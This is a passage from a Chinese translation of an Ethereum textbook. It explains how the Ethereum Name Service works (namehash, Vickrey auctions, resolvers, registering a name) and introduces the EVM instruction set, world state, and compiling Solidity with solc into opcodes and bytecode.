ENS不仅仅是一个智能合约，它本身是一个基础的DApp，提供去中心化的名称服务。此外，ENS在名称的注册、管理和拍卖方面受到了很多DApp的支持。ENS展示了多个DApp之间是如何协同工作的：它是为其他DApp服务的DApp，受到DApp的生态系统的支持，嵌入到其他的DApp中，等等。

本节将介绍ENS的工作原理。我们将演示如何设置你自己的名称，并将它与你的钱包或者以太坊地址联系起来，同时，还会演示如何将ENS嵌入到其他DApp中，以及如何使用ENS来命名你的DApp而使其更加易用。



以太坊名称服务的历史



名称注册服务是区块链上的第一个非货币化应用程序，由Namecoin开创。以太坊白皮书（
https://github.com/ethereum/wiki/wiki/White-Paper

 ）在它的示例应用中则给出了一个两行的、类似于Namecoin的注册系统。

早期的Geth和C++以太坊客户端的发行版本都曾有过内置的namereg合约（已经不再使用），也有很多和名称服务相关的提案和ERC被提出，但是直到2016年，Nick Johnson开始为以太坊基金会工作，在他的支持下，以太坊基金会才正式开展名称注册服务相关的工作。

ENS在2017年5月4日星球大战之日发布（在此前的3月15日有过一次失败的尝试）。



ENS标准



ENS主要由三个以太坊改进方案定义：EIP-137，规定了ENS的基本功能；EIP-162，描述了根.eth的拍卖系统；EIP-181，规定了地址的反向注册规则。

ENS的设计遵循“三明治”理念：基础层非常简单，中间是复杂但可以替换的代码层，顶层也非常简单，主要作用是将所有数字货币保存在不同的账户中。



基础层：名称拥有者和解析者



ENS操作的是“节点”，而非人类可读的名称：一个人类可读的名称将被Namehash算法转换成一个节点。

ENS的基础层是由ERC137定义的一个非常简单的合约（少于50行代码），它只允许节点的所有者设置有关其名称的信息，以及创建子节点（等价于DNS子域名）。

基础层的唯一功能是使节点所有者能够设置有关其自身节点的信息（尤其是解析器、生存时间，或者转移所有权），以及创建子节点。


Namehash算法


Namehash是一个递归算法，它可以将任何名称转换成能够标识这个名称的哈希值。

“递归”意味着我们解决问题的方式是，求解出与该问题类型相同的子问题的解，并使用这些子问题的解来解决原始问题。

Namehash以递归的方式去哈希名称的各个组件，并且为每一个有效的输入域生成一个唯一的、固定长度的字符串（或“节点”）。举个例子，subdomain.example.eth的Namehash节点是keccak('<example.eth>'node)+keccak('<subdomain>')。计算example.eth的节点是我们必须要解决的子问题，即keccak('<.eth>'node)+keccak('<example>')。继而，我们需要计算eth的节点，即keccak(<root-node>)+keccak('<eth>')。

我们将递归的“base case”称为根节点，显然我们不能递归地去定义它，否则算法将永远不会停止。根节点被定义为0x0000000000000000000000000000000000000000000000000000000000000000（32个零字节）。

合起来就是，subdomain.example.eth的节点是keccak(keccak(keccak(0x0...0+keccak('eth'))+keccak('example'))+keccak('subdomain'))。

一般地，我们按如下方式定义namehash函数（基本情况是根节点或者空名称，后面是递归步骤）：






namehash([]) = 0x0000000000000000000000000000000000000000000000000000000000000000



namehash([label, ...]) = keccak256(namehash(...) + keccak256(label))







用Python表示如下：






def namehash(name):



  if name == '':



    return '\0' * 32



  else:



    label, _, remainder = name.partition('.')



    return sha3(namehash(remainder) + sha3(label))







因此，mastering-ethereum.eth将会按照如下方式进行处理：




当然，子域名本身也可以拥有子域名：在subdomain.example.eth之后可以有sub.subdomain.example.eth，再之后可以有sub.sub.subdomain.example.eth，等等。由于Namehash的结果仅仅依赖于名称本身，因此我们可以预先将给定名称的节点计算好，并插入合约中，这样无论原始名称的组件数量有多少，都避免了昂贵的重复计算，同时也避免了相关的字符串操作以及对ENS记录进行立即查询的需求。


如何选择一个有效的名称


名称是由一系列以点分隔的标签组成的。尽管大写字母和小写字母都被允许，但是所有的标签都必须遵循UTS#46规范化过程：名称在哈希处理之前会全部转换为小写字母，因此如果名称的大小写不同，但是拼写是相同的，那么最后Namehash是相同的。

可以使用任何长度的标签和域，但是为了与传统的DNS兼容，建议使用以下规则：

·标签不应该超过64个字符。

·完成的ENS名称不应该超过225个字符。

·标签不应该以连字符和数字开头或者结尾。


根节点的所有权


分层系统的一个结果是，它会依赖根节点的所有者，而后者能够创建顶级域（TLD）。

创建顶级域的决策过程是去中心化的，且需要4~7个多重签名才能写入，而这些可以签名的私钥被不同国家的人所持有（类似于DNS系统的7个密钥持有者，参见
https://www.icann.org/news/blog/zh-5b071885-94c7-4510-9326-6733059b953a

 ）。因此，任何变更都至少需要7个密钥持有者中的4个。

目前，这些密钥持有者的目的和目标是就以下内容与社区达成共识：

·评估过系统后，.eth顶级域的临时所有者将被升级和迁移到一个更加永久的合约。

·当社区就其需求达成一致之后，允许添加新的顶级域。

·在商定、测试和实现此类系统时，将根节点多重签名的所有权迁移到一个更加去中心化的合约。

·确定在顶级注册管理机构中处理任何bug和漏洞的最后手段。


解析者


基础层的ENS合约无法为名称添加元数据，这是被称为“解析者合约”的职责。它们是用户创建的合约，可以对名称相关的问题进行响应，如与应用相关的Swarm地址、应用接收付款的地址（以太币或者其他代币），以及应用的哈希值（为了验证应用的完整性）。



中间层：.eth节点



在撰写本书时，唯一可以在智能合约中注册的顶级域名是.eth。


 　目前传统DNS域名所有者声称对ENS的所有权的工作正在进行中。虽然理论上这只适用于.com，但到目前为止，唯一实现此目的的域名是.xyz，并且仅仅是在Repsten测试网上（
http://bit.ly/2SwUuFC

 ）。

.eth的域名通过一个拍卖系统被分发，并且没有保留列表或者优先级，获得名称的唯一办法就是使用该系统。拍卖系统的代码非常复杂（超过500行），ENS的大部分早期开发工作（和bug）都包含在这个系统中。然而，这都是可替换和可升级的，没有任何资金上的风险，更多的风险来自未来。


维克里拍卖


名称是通过一个修改过的维克里拍卖（Vickrey auction）方式进行分发的。在传统的维克里拍卖规则中，每个竞标人都会秘密地提交一个出价，所有竞标人的出价会在同一时刻被披露，出价最高的人获胜，但是他只需要支付第二高的那个出价对应的金额。

因此竞标人受到了激励，会给出高于名称真实价值的出价，因为这样会增加他们获胜的概率，但是不会影响他们最终需要支付的价格。

在一个区块链上，下面的修改是必需的：

·为了确保竞标人不会进行无意义的投标，他们必须事先锁定等于或者高于其投标价格的资金，以确保投标是有效的。

·因为人们没有办法在区块链上隐藏秘密，所以投标人必须至少执行两次交易（即提交-披露流程），以隐藏他们的出价和所竞标的名称。

·因为人们没有办法在一个去中心化的系统中同时披露所有的出价，所以竞标者必须自己去披露出价；如果他们不这样做，就会丧失锁定的资金。如果不做此限制，人们就可以做出很多出价，但是只选择其中一两个进行披露，从而将秘密拍卖变成传统的增值拍卖。

因此，拍卖分成四个步骤：

1.开始拍卖。对注册名称这个意图进行广播是必需的。这将为所有拍卖创建截止日期。这些名称经过了哈希处理，因此只有那些在目录中记录了名称的人才知道哪个拍卖被开启了。这在一定程度上保护了隐私，尤其是在你创建了一个新的项目但是不想暴露其中的具体细节时显得尤为有用。你可以在同一时刻启动很多匿名拍卖，这样你的竞争对手不能很轻易地就对你所开启的拍卖进行投标。

2.密封投标。你必须在投标截止日期之前进行此操作，方法是将一定数量的以太币和一个秘密消息（其中包括名称的哈希值、实际的出价金额和Salt值）的哈希进行关联。你可以锁定比你实际出价更多的以太币，以掩盖你的真实估值。

3.披露出价。在披露阶段，你必须发起一笔披露出价的交易，然后系统会计算出最高价和第二高的出价，并且将以太币发送至没有拍卖成功的其他出价人。每次出价被披露时就会重新计算当前的赢家，因此，在披露截止日期到来之前设置的最后一个成为赢家。

4.事后清理。如果你是赢家，则可以最终确定竞价，以便消除你的出价与第二高出价之间的差额。如果你忘记披露，可以进行延迟发布，并且收回一些出价。



顶层：deed



ENS的顶层是另一个超级简单的合约，目的只有一个：持有资金。

如果你赢取了一个名称，资金实际上没有被发送到任何地方，而是在你想要保留的名称期间（至少为一年）被锁定。这就像保证回购一样：如果所有者不再需要这个名称，他们可以将其卖给系统并拿回他们的以太币（所以持有名称的成本实际上是用这些以太币做其他回报大于零的事情的机会成本）。

当然，将价值数百万美元的以太币放置在单个合约里面已经被证明是非常危险的，因此ENS为每一个新的名称创建一个契约（deed）合约。契约合约非常简单（大概50行代码），它只允许将资金转回给单个账户（契约所有者），并由单个实体调用（注册商合约）。这种方法大大降低了因为bug引起的攻击而给资金带来的风险。



注册一个名称



就像我们在之前一节中看到的，注册一个ENS名称需要四个步骤。首先我们对任何可用的名称进行出价，然后在48小时之后披露出价以取得名称。图12-5的图标显示了注册的时间戳。




图12-5：ENS的注册流程

让我们开始注册第一个名称！

我们将在几个可用的、用户友好的界面中挑选一个来进行名称的搜索，对名称ethereum-book.eth进行出价，披露出价，最后取得该名称。

有许多基于Web的界面允许我们和ENS DApp进行交互。在这个例子中，我们将使用MyCrypto界面（
https://mycrypto.com/

 ）来连接我们的MetaMask钱包。

首先，需要确保我们想要的名称是可用的。在写作本书的时候，我们真的很想注册名称mastering.eth，但是很可惜，图12-6显示它已经被注册了。因为ENS的注册期只会持续一年，所以未来我们可能会取得这个名称。同时，让我们来搜索一下ethreum-book.eth（见图12-6）。




图12-6：在MyCrypto.com上搜索ENS名称

很好！这个名称可以用。为了注册它，我们需要前进到图12-7。让我们来解锁Meta-Mask，并为ethereumbook.eth开启一次拍卖。




图12-7：竞拍某个ENS名称

让我们出价。为此，需要按照图12-8中的步骤操作。




图12-8：为ENS名称出价


 　在“维克里拍卖”一节中提到过，必须在拍卖结束后的48小时内披露你的价格，否则你将会失去其中的资金。我们会忘记做这件事（披露出价）而损失0.01 ether吗？我们确实会忘记。

截取屏幕，保存好你的密码短语（作为出价的一个备份），并在日历中添加一个披露价格的日期和时间的提醒，这样你就不会因为忘记披露而损失资金。

最后，通过点击图12-9所示的SUBMIT按钮来确认交易。

如果一切顺利的话，在以这种方式提交交易后，你可以在48小时内返回并披露出价，并且你请求的名称会被注册到你的以太坊地址。



管理你的ENS名称



一旦注册了ENS名称，你就可以用另外一个用户友好的界面ENS Manager（
https://manager.ens.domains/

 ）来对它进行管理。




图12-9：包含竞拍的MetaMask交易

可以在搜索框里输入你想要管理的名称（见图12-10）。你需要解锁你的以太坊钱包（如MetaMask），以便ENS Manager DApp可以为你管理名称。




图12-10：ENS Manager的Web界面

在这个界面上，可以创建子域，设置一个解析者合约（稍后会详细介绍），并将每个名称连接到合适的资源，比如DApp前端的Swarm地址。


创建一个ENS子域


首先，让我们为示例拍卖DApp创建一个子域（见图12-11）。将子域命名为auction，所以完整的名字是auction.ethereumbook.eth。

一旦创建了子域，就可以在搜索框里输入auction.ethereumbook.eth并对其进行管理，就像我们之前管理域名ethereumbook.eth一样。



ENS解析器



在ENS中，解析名称需要两个步骤：

1.调用ENS注册表，并在对其进行哈希处理后解析该名称。如果记录存在，注册表将返回其解析器的地址。




图12-11：添加子域auction.ethereumbook.eth

2.根据所请求资源的不同，使用合适的方式调用解析器。解析器返回所需的结果。

这两个步骤有几个好处。将解析器的功能与名称系统本身分离开，给予了我们很大的灵活性。名称所有者可以使用自定义的解析器来解析任何类型和资源，从而扩展了ENS的功能。例如，如果将来你想要将地理位置资源（经度和纬度）链接到ENS名称，就可以创建一个新的解析器来响应地理位置查询。谁知道将来会有哪些应用变得有用？使用自定义解析器，唯一的限制就是你的想象力。

为方便起见，有一个默认的公共解析器可以解析各种资源，包括地址（用于钱包或合约）和内容（用于DApp或合约源代码的Swarm哈希值）。

由于我们想要将拍卖DApp链接到Swarm哈希，可以使用支持内容解析的公共解析器，如图12-12所示，不需要编写或部署自定义解析器。



把名字解析到Swarm哈希（内容）



将auction.ethereumbook.eth的解析器设置为公共解析器后，可以让其返回Swarm哈希值，作为名称的内容（见图12-13）。




图12-12：为auction.ethereumbook.eth设定默认的公共解析器




图12-13：设定从auction.ethereumbook.eth返回的内容

不久，在我们的交易被确认之后，应该能够正确地解析名称。在设置名称之前，拍卖DApp可以在Swarm网关通过它的哈希值被访问：






https://swarm-gateways.net/bzz:/



ab164cf37dc10647e43a233486cdeffa8334b026e32a480dd9cbd020c12d4581







或通过在DApp浏览器或Swarm网关中搜索Swarm URL被访问：






bzz://ab164cf37dc10647e43a233486cdeffa8334b026e32a480dd9cbd020c12d4581







现在我们将其附加到一个名称，该过程变得更加方便：






http://swarm-gateways.net/bzz:/auction.ethereumbook.eth/







也可以通过在任何兼容ENS的钱包或DApp浏览器（例如Mist）中搜索“auction.ether-eumbook.eth”来找到它。




从普通应用到去中心化应用



前面我们逐步构建了一个去中心化应用。我们从一对运行ERC721的拍卖智能合约开始。这两个合约被设计成没有治理或者特权账户，所以它们的运作是真正去中心化的。我们添加了一个用JavaScript实现的前端，它为DApp提供了一个方便且用户友好的界面。拍卖DApp使用去中心化存储系统Swarm来存储应用资源，如图片。DApp还使用去中心化的消息协议Whisper来为每次拍卖提供加密聊天室，而无须任何中心化的服务器。

我们将整个前端上传到Swarm，这使得DApp不依赖任何Web服务器提供文件。最后，我们使用了ENS系统为DApp分配了一个名称，并将其与前端的Swarm哈希值连接起来，以便用户以简单易记、人类可读的名称去访问它。

通过这些步骤，我们增加了应用的去中心化程度。最终的结果是这个DApp没有集中式的控制，也没有单点失败的模块，这样的设计充分表达了web3的愿景。

图12-14展示了拍卖DApp的整体架构。




图12-14：拍卖DApp的架构




总结



去中心化应用是以太坊的终极愿景，就像创始人在早期设计中表达的那样。虽然今天有许多应用宣称自己是DApp，但是大多数应用并没有完全去中心化。然而，构建完全去中心化的应用是可能的。随着时间的推移和技术的进一步发展，越来越多的应用可以变得去中心化，从而成为更有弹性、更易于审计的免费Web。




第13章　以太坊虚拟机



以太坊虚拟机（简称为EVM）是以太坊协议和具体操作的核心。你大概会从名字上猜到，这是一个计算引擎，它与微软的.NET框架的虚拟机或者像Java这样的基于字节码的编译语言没有太大的不同。本章将详细介绍EVM，包括它的指令集、它的架构以及它在以太坊状态更新上下文中的具体操作。




什么是EVM？



EVM是以太坊协议的一部分，它用来处理智能合约的部署和执行。事实上，除了在EOA（由用户私钥控制的所谓“外部账户”）之间的简单转账交易以外，其他所有涉及状态更新的操作都是通过EVM来计算的。从高层抽象的角度，运行在以太坊区块链上的EVM可以被想象成一个包含了数百万可执行对象的全球化的去中心化计算机，这些可执行对象都拥有它们各自的永久数据存储。

EVM是一个“准”图灵完备的状态机，因为在其中进行的任意智能合约的执行都必须限定在一个由可用的gas总量所限制的、有限的计算步骤数量之内。这样，停机故障（指所有程序执行都被迫停止）就被“解决了”，并且避免了程序可能会（意外地或者恶意地）永远执行下去，从而使以太坊平台进入完全停止的状态的问题。

EVM有一个基于栈的架构，在一个栈中保存了所有内存数值
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 。EVM的数据处理单位被定义为256位的“字”（这主要是为了方便处理哈希运算和椭圆曲线运算操作），并且它还具有以下数据组件：

·一个不可变的程序代码存储区ROM，加载了要执行的智能合约字节码。

·一个内容可变的内存，它被严格地初始化为全0数值。

·一个永久的存储，它是作为以太坊状态的一部分存在的，也会被初始化为全0。

在执行过程中还有一些可用的环境变量和数据，我们会在本章的后续段落中看到更多细节。

图13-1展示了EVM的架构和执行上下文。




图13-1：以太坊虚拟机（EVM）的架构和执行上下文



与现有技术的比较



所谓“虚拟机”的概念通常用于对真实计算机的虚拟化，一般是通过一个像VirtualBox或者QEMU这样的“管理程序”，或者像Linux上的KVM这样的完整的操作系统实例来实现的。这些方案中都必须分别对实际的硬件、系统调用和其他内核功能提供一个软件抽象。

EVM运作在一个更局限的领域：它仅仅是一个计算引擎，仅提供对计算和存储的抽象，就像Java虚拟机（JVM）那样。从高级视角来看，JVM的设计提供了一个无须知晓底层宿主OS或硬件的运行环境，从而提供了跨不同系统平台的兼容性。像Java、Scala（基于JVM）或者C#（基于.NET）这样的高级程序设计语言会被编译为与它们对应的虚拟机字节码指令集。同样地，像LLL、Serpent、Mutan或Solidity这样的高级智能合约开发语言，也会被编译为由EVM执行的字节码指令集（随后就会介绍）。

EVM没有可调度性，因为执行顺序是由其外部所组织好的，也就是由以太坊客户端通过验证区块中的交易来决定哪些智能合约应该运行，以及它们的执行顺序应该是什么。从这个角度讲，以太坊世界计算机就像JavaScript引擎那样是“单线程”的。EVM既没有任何“系统接口”，也没有“硬件支持”，因为并没有任何物理机器需要与之交互。以太坊世界计算机是完全虚拟化的。



EVM指令集（字节码）



EVM指令由很多标准机器码指令组成，包含：

·算术和位运算逻辑操作

·执行上下文查询

·栈、内存和存储访问

·处理流程操作

·日志、跳转和其他操作

作为标准字节码操作的补充，EVM还可以访问账户信息（例如地址和余额）以及区块信息（比如区块号和当前的gas价格）。

让我们通过查看那些可用的字节码和它们的功能来更详细地了解EVM吧。就像我们期待的那样，所有操作都会从栈中获取操作数，而将结果（如果有的话）放回到栈顶。


 　完整的操作码列表和它们gas消耗可以在附录C中找到。

可用的操作码可以分为以下一些类别：


算术操作


算术操作码指令：






ADD                       //

 

对栈顶的两个条目进行加法


 




MUL                     //

 

对栈顶的两个条目进行乘法


 




SUB                     //

 

对栈顶的两个条目进行减法


 




DIV                     //

 

整数除法


 




SDIV                    //

 

带符号的整数除法


 




MOD                     //

 

模运算


 




SMOD                    //

 

带符号的模运算


 




ADDMOD                  //

 

先做加法然后进行模运算


 




MULMOD                  //

 

先做乘法然后进行模运算


 




EXP                     //

 

乘方运算


 




SIGNEXTEND              //

 

符号扩展操作


 




SHA3                    //

 

对内存中的一段数据进行


 
Keccak-256

 

哈希运算








注意，所有算术运算都对2

256


 取了模（除非明确标注为不做此处理），并且0的0次方，即0

0


 ，会被计算为1。


栈操作


栈、内存和存储管理指令：






POP                        //

 

移除栈顶的一个条目


 




MLOAD                //

 

从内存中加载一个“字”


 




MSTORE               //

 

向内存中保存一个“字”


 




MSTORE8              //

 

向内存中保存一个字节


 




SLOAD                //

 

从存储中加载一个“字”


 




SSTORE               //

 

向存储中保存一个“字”


 




MSIZE                //

 

获得当前已分配内存的字节数大小


 




PUSHx                //

 

将


 
x

 

字节的一个条目放到栈顶，其中


 
x

 

的数值可以是


 
1

 

到


 
32

 

（一个整


 




                           

 

“字”）的整数


 




DUPx                 //

 

复制栈顶的第


 
x

 

个条目到栈顶，其中


 
x

 

的数值可以是


 
1

 

到


 
16

 

的整数


 




SWAPx                //

 

交换栈顶条目和第


 
x+1

 

个栈内条目，其中


 
x

 

的数值可以是


 
1

 

到


 
16

 

的整数









处理流程操作


流程控制指令：






STOP                //

 

停止执行


 




JUMP                 //

 

将程序计数器设置为任意数值


 




JUMPI                //

 

基于条件修改程序计数器的值


 




PC                   //

 

取得程序计数器的数值（增加这个指令本身的计数之前的数值）


 




JUMPDEST             //

 

标记一个有效的跳转地址


 













系统操作


用于系统程序执行的操作码：






LOGx                //

 

增加一条带有


 
x

 

个主题的日志数据，其中


 
x

 

的数值可以是


 
0

 

到


 
4

 

的整数


 




CREATE                //

 

用关联代码创建一个新账户


 




CALL                  //

 

向另一个账户发起消息调用，也就是运行另一个账户的代码


 




CALLCODE              //

 

用另一个账户的代码向当前账户发起消息调用


 




RETURN                //

 

停止执行并返回输出数据


 




DELEGATECALL          //

 

用其他账户的代码向当前账户发起消息调用，但


 
sender

 

和


 
value



                          

 

的数值保持不变


 




STATICCALL            //

 

向一个账户发起静态消息调用


 




REVERT                //

 

停止执行并撤销状态修改，但保持返回数据和剩余


 
gas



INVALID               //

 

预设的无效指令


 




SELFDESTRUCT          //

 

停止执行，并将当前账户标记为自毁账户









逻辑操作


比较和位运算操作码：






LT                        //

 

小于比较操作


 




GT                         //

 

大于比较操作


 




SLT                        //

 

有符号小于比较操作


 




SGT                        //

 

有符号大于比较操作


 




EQ                         //

 

等于比较操作


 




ISZERO                     //

 

简单的非操作


 




AND                        //

 

按位与操作


 




OR                         //

 

按位或操作


 




XOR                        //

 

按位异或操作


 




NOT                        //

 

按位非操作


 




BYTE                       //

 

从一个“字”中取得一个字节数据









环境操作


处理执行环境信息的操作码：






GAS                        //

 

取得可用


 
gas

 

的数量（减去这个指令的消耗）


 




ADDRESS                //

 

取得当前账户的地址


 




BALANCE                //

 

取得指定账户的余额


 




ORIGIN                 //

 

取得触发这次


 
EVM

 

执行的


 
EOA

 

地址


 




CALLER                 //

 

取得当前执行的调用者地址


 




CALLVALUE              //

 

取得当前执行的调用者所发送的以太币数量


 




CALLDATALOAD           //

 

取得当前执行的输入数据


 




CALLDATASIZE           //

 

取得当前输入数据的字节大小


 




CALLDATACOPY           //

 

将当前输入数据复制到内存中


 




CODESIZE               //

 

当前环境运行的代码的字节大小


 




CODECOPY               //

 

将当前环境运行的代码复制到内存中


 




GASPRICE               //

 

取得由初始交易所制定的


 
gas

 

价格


 




EXTCODESIZE            //

 

取得任意账户代码的字节大小


 




EXTCODECOPY            //

 

将任意账户的代码复制到内存中


 




RETURNDATASIZE         //

 

取得在当前环境中的前一次调用的输出数据字节大小


 




RETURNDATACOPY         //

 

将前一次调用的输出数据复制到内存中









区块操作


访问当前区块信息的操作码：






BLOCKHASH                //

 

取得最新的


 
256

 

个完整区块中某个区块的哈希


 




COINBASE                //

 

取得当前区块的区块奖励受益人地址


 




TIMESTAMP               //

 

取得当前区块的时间戳


 




NUMBER                  //

 

取得当前区块的区块号


 




DIFFICULTY              //

 

取得当前区块的难度


 




GASLIMIT                //

 

取得当前区块的


 
gas

 

上限










以太坊的状态



EVM的任务是基于以太坊协议、根据智能合约代码的执行来计算合法的状态转换，用以更新以太坊的状态。这也就是将以太坊作为基于交易的状态机所描述的层面，同时也是外部用户（即账户持有人和矿工）通过创建、接受交易和对交易进行排序打包来引发状态转换所反映的层面。讲到这里，我们就需要去理解以太坊状态的构成了。

在最高层级，我们有以太坊世界状态的概念。世界状态是一个以太坊地址（160位数值）到账户数据的映射。具体来说，每个以太坊地址所对应的账户数据都由以下几部分组成：一个以太币的余额（保存了这个账户所持有的以wei为单位的以太币数量）；一个nonce（如果是EOA，则代表了从这个账户所发出的交易的数量；如果是合约账户，则代表了由它所创建的合约的数量）；账户的存储（仅供智能合约使用的永久数据存储）以及账户的程序代码（如果账户是智能合约账户）。一个EOA永远不会有代码，且只有全空的存储。

当一个交易最终反映为一次智能合约代码的执行时，一个EVM实例会基于当前正在创建的区块信息和当前这个交易的信息被初始化出来。具体地说，就是会将调用的合约账户所对应的代码加载到EVM的ROM中，程序计数器置为0，从调用的合约账户所对应的存储中加载存储数据，将内存清零并将与区块和其他环境变量相关的信息设置好。这个执行中的关键变量就是提供给这次执行的gas，这个gas被设定为原始交易开始时由交易发送者支付的gas总量（参考“gas”一节可获得更多详情）。在执行的过程中，gas的供给会基于操作执行的消耗相应减少。无论何时，只要gas的供给减小到0，我们就会得到一个“out of gas”（OOG）异常；执行会立即停止，相应的交易也即失败。除了对交易发送者的nonce增加（加1）并从其账户余额中扣除到代码停止执行时在区块的beneficiary（即“挖到”这个区块的矿工）处所消耗的资源费用（即在此执行中所消耗的gas乘以交易中所指定的gasPrice所得出的执行费用）以外，其他所有变动都不会反映到以太坊状态中。这里，你可以把EVM的运行想象为将以太坊世界状态复制到了一个沙盒中，如果执行因为任何原因没有完成，那么这个沙盒中的状态就会被丢弃。不过，如果执行成功结束，那么真正的世界状态就会被更新为这个沙盒的状态，包含所有对调用过的合约的存储数据的更改、新创建的合约以及其间所有以太币余额的转移。

请注意，因为智能合约可以自己产生交易
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 ，所以代码执行是一个递归的过程。一个合约可以调用其他合约，每个调用都会最终反映为另一个基于新目标的EVM执行。每次EVM的实例化都会基于之前的EVM沙盒来构造。每次实例化也会获得一个指定数量的gas供给（当然不能超过到这个时点的剩余gas总量），它自己也可能会因为获得的gas过少而无法完成它的执行。在这种情况下，沙盒的状态就会被丢弃，执行会返回到上一层调用。



把Solidity代码编译为EVM字节码



有很多方法可以将Solidity源代码编译为EVM字节码。在第2章中我们使用了在线的Remix编译器。在本章中，我们将使用命令行程序solc。要查看编译器选项，可以简单地运行如下指令：






$ solc --help







通过--opcodes命令行参数可以简单地生成Solidity源代码文件对应的操作码序列。这个操作码序列提供了部分信息（--asm选项可以产生完整的信息），但已经足够进行后续讨论。例如，编译Solidity文件Example.sol并将字节码输出到BytecodeDir可以通过下列指令完成：






$ solc -o BytecodeDir --opcodes Example.sol







或：






$ solc -o BytecodeDir --asm Example.sol







下列命令则可以为我们的示例程序生成字节码：






$ solc -o BytecodeDir --bin Example.sol







实际生成的操作码文件依赖于Solidity源代码文件中包含的特定合约。我们使用的这个例子源码文件Example.sol中仅包含了一个叫作example的合约：






pragma solidity ^0.4.19;



contract example {



  address contractOwner;



  function example() {



    contractOwner = msg.sender;



  }



}







就像你看到的那样，这个合约所做的就是保持一个状态变量，来保存运行这个合约的上一个账户的地址。

如果你查看BytecodeDir目录，你会看到操作码文件example.opcode，它包含了example合约的EVM操作码指令。用文本编辑器打开example.opcode文件，你会看到如下内容：






PUSH1 0x60 PUSH1 0x40 MSTORE CALLVALUE ISZERO PUSH1 0xE JUMPI PUSH1 0x0 DUP1



REVERT JUMPDEST CALLER PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH20



0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF MUL NOT AND SWAP1 DUP4 PUSH20



0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND MUL OR SWAP1 SSTORE POP PUSH1



0x35 DUP1 PUSH1 0x5B PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN STOP PUSH1 0x60 PUSH1



0x40 MSTORE PUSH1 0x0 DUP1 REVERT STOP LOG1 PUSH6 0x627A7A723058 KECCAK256 JUMP



0xb9 SWAP14 0xcb 0x1e 0xdd RETURNDATACOPY 0xec 0xe0 0x1f 0x27 0xc9 PUSH5



0x9C5ABCC14A NUMBER 0x5e INVALID EXTCODESIZE 0xdb 0xcf EXTCODESIZE 0x27



EXTCODESIZE 0xe2 0xb8 SWAP10 0xed 0x







用--asm选项编译example，会在BytecodeDir目录中产生一个example.evm文件。它包含了对EVM字节码指令的稍高级一些的描述，并附带了一些有用的注解：






/* "Example.sol":26:132  contract example {... */



  mstore(0x40, 0x60)



    /* "Example.sol":74:130  function example() {... */



  jumpi(tag_1, iszero(callvalue))



  0x0



  dup1



  revert



tag_1:



    /* "Example.sol":115:125  msg.sender */



  caller



    /* "Example.sol":99:112  contractOwner */



  0x0



  dup1



    /* "Example.sol":99:125  contractOwner = msg.sender */



  0x100



  exp



  dup2



  sload



  dup2



  0xffffffffffffffffffffffffffffffffffffffff



  mul



  not



  and



  swap1



  dup4



  0xffffffffffffffffffffffffffffffffffffffff



  and



  mul



  or



  swap1



  sstore



  pop



    /* "Example.sol":26:132  contract example {... */



  dataSize(sub_0)



  dup1



  dataOffset(sub_0)



  0x0



  codecopy



  0x0



  return



stop



sub_0: assembly {



        /* "Example.sol":26:132  contract example {... */



      mstore(0x40, 0x60)



      0x0



      dup1



      revert



    auxdata: 0xa165627a7a7230582056b99dcb1edd3eece01f27c9649c5abcc14a435efe3b...



}







--bin-runtime选项会产生机器可读的十六进制字节码：






60606040523415600e57600080fd5b336000806101000a81548173



ffffffffffffffffffffffffffffffffffffffff



021916908373



ffffffffffffffffffffffffffffffffffffffff



160217905550603580605b6000396000f3006060604052600080fd00a165627a7a7230582056b...







你可以使用先前给出的操作码列表来查看这里实际发生了什么。然而这并不是个简单的活儿，所以让我们先从前4个指令开始吧：






PUSH1 0x60 PUSH1 0x40 MSTORE CALLVALUE







这里有一个PUSH1后边紧跟了一个原始字节数据0x60。这意味着这个EVM指令接收一个跟在其后的字节数据作为输入（字面数值）并将这个数据压入栈顶。我们也可以将最大32字节的数据压入栈顶，比如：






PUSH32 0x436f6e67726174756c6174696f6e732120536f6f6e20746f206d617374657221







example.opcode中的第二个PUSH1操作码将0x40压入栈顶（先前的0x60所使用的数据槽会向下移动一个位置）。

接下来是MSTORE，这是一个保存内存的操作，也就是将一个值保存到EVM的内存中。它接收两个参数，并且像大多数EVM操作一样，它会使用栈里的数据来获取它实际使用的参数。每当从栈中弹出一个数据（也就是栈顶的数据槽中的数据），其下的所有数据都会向上移动一个位置。MSTORE的第一个参数是要保存的数值所应使用的目标地址。对于这个程序，我们将会从栈顶移除0x40，并将其作为内存目标地址。第二个参数就是要保存的数值，在这里就是0x60。当MSTORE执行完成之后，栈重新变为空，但我们将数值0x60（即十进制的96）保存到了内存地址0x40处。

下一个操作码是CALLVALUE，它是一个环境操作码，会将触发这次执行的消息调用所附带的以太币数量（以wei为单位）压入栈顶。

我们可以继续用这种方式来单步跟踪这个程序，直到我们完全搞懂这些代码所引起的低级状态变化，但目前它不能更多地帮助我们。稍后我们会再回到这个话题。



合约部署代码



我们创建和部署一个新合约到以太坊平台上时所使用的代码与合约代码本身有一个重要但又很微妙的区别。为了创建一个新合约，我们需要一个特殊的交易，其目标地址to字段需要被指定为0x0并且它的data字段需要被设置为合约的初始化代码。当这样一个合约创建交易被处理的时候，新合约账户的代码其实并不是交易数据的data字段所附带的代码。一个EVM实例会将这个交易所附带的data作为程序代码加载到其ROM中，并将这个部署代码的执行输出结果作为新合约账户的关联代码。通过这样的方式，新合约就可以使用部署时的以太坊世界状态，以编程方式被初始化，并更改合约的存储数据甚至发送以太币或者创建更多的新合约。

当我们编译一个合约，比如在命令行使用solc，就会获得部署字节码也会获得运行时字节码。

使用部署字节码来执行初始化新合约账户的所有操作，包含实际交易调用这个新合约时需要执行的字节码（即运行时字节码）以及在合约的构造函数中进行初始化处理的代码。

换句话说，运行时字节码就是当新合约被调用时所执行的所有字节码，仅此而已；其中并不包含需要在部署中使用的用来初始化合约的字节码。

让我们以先前创建的简单的Faucet.sol合约作为例子：






// Version of Solidity compiler this program was written for



pragma solidity ^0.4.19;



// Our first contract is a faucet!



contract Faucet {



  // Give out ether to anyone who asks



  function withdraw(uint withdraw_amount) public {



      // Limit withdrawal amount



      require(withdraw_amount <= 100000000000000000);



      // Send the amount to the address that requested it



      msg.sender.transfer(withdraw_amount);



    }



  // Accept any incoming amount



  function () public payable {}



}







可以运行solc--binFaucet.sol来获得部署字节码。如果只想获得运行时字节码，则可以运行solc--bin-runtimeFaucet.sol。

